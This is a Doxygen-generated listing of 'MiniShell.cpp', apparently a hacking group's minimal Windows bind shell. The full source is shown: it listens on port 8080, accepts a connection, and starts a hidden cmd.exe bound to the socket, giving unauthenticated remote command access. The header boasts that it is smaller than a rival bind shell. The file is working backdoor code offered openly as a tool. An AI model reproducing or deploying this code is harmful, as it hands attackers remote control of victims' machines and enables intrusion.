C:/Web/TinyBindshell/minishell/MiniShell.cpp

Go to the documentation of this file.
00001 /*##############################################################################
00002                           Haxorcitos Mini Shell
00003           =======================================================
00004 
00005 Details: 
00006 
00007 Compiled Size: 908 bytes
00008 Tweaked Size : 804 bytes (with a little Headers modification by Tarako)
00009 This size can be also reduced disabling MsDos exe compatibility (maybe further release)
00010 
00011 Programado por/Coded by : Miguel Tarascó Acuña aka "Tarako" - [email protected]
00012 Programado por/Coded by : Andres Tarascó Acuña aka "aT4r" - [email protected]
00013 
00014 Pagina Web/ Web page    : http://www.Haxorcitos.com
00015 
00016 Tested under Windows 2000 SP4 Spanish version
00017 Tested under Windows XP   SP2 Spanish version
00018 
00019 Sorry Checksum.org. Our bind shell is smaller than yours (tx.exe)  }:)
00020  and we also provide source code
00021 
00022 ################################################################################*/
00023 #include <winsock2.h>
00024 #pragma comment(linker,"/ENTRY:WinMain")
00025 
00026 int WINAPI WinMain(HINSTANCE ,  HINSTANCE , LPSTR ,int ) {
00027 
00028    STARTUPINFO          si;
00029    struct               sockaddr_in sa;
00030    PROCESS_INFORMATION  pi;
00031    int                                  s;
00032    WSADATA              HWSAdata;
00033    WSAStartup(0x101, &HWSAdata); 
00034 
00035    
00036    s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
00037 
00038    sa.sin_family     = AF_INET;
00039    sa.sin_port       = 0x901F; // (USHORT)htons(8080);
00040    sa.sin_addr.s_addr= 0x00;   // htonl(INADDR_ANY);
00041 
00042    bind(s, (struct sockaddr *) &sa, 16);
00043    listen(s, 1);
00044    s= accept(s,(struct sockaddr *)&sa,NULL);
00045 
00046    si.cb          = sizeof(si);  // 0x44;     
00047    si.wShowWindow = SW_HIDE;     // 0x00
00048    si.dwFlags     = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
00049    si.hStdInput   = si.hStdOutput = si.hStdError = (void *) s;   
00050 
00051    si.lpDesktop = si.lpTitle = (char *) 0x0000;
00052    si.lpReserved2 = NULL;
00053 
00054    CreateProcess( NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi);
00055 }

Generated on Thu Feb 28 11:09:45 2008 for Minishell for win32 by  doxygen 1.5.4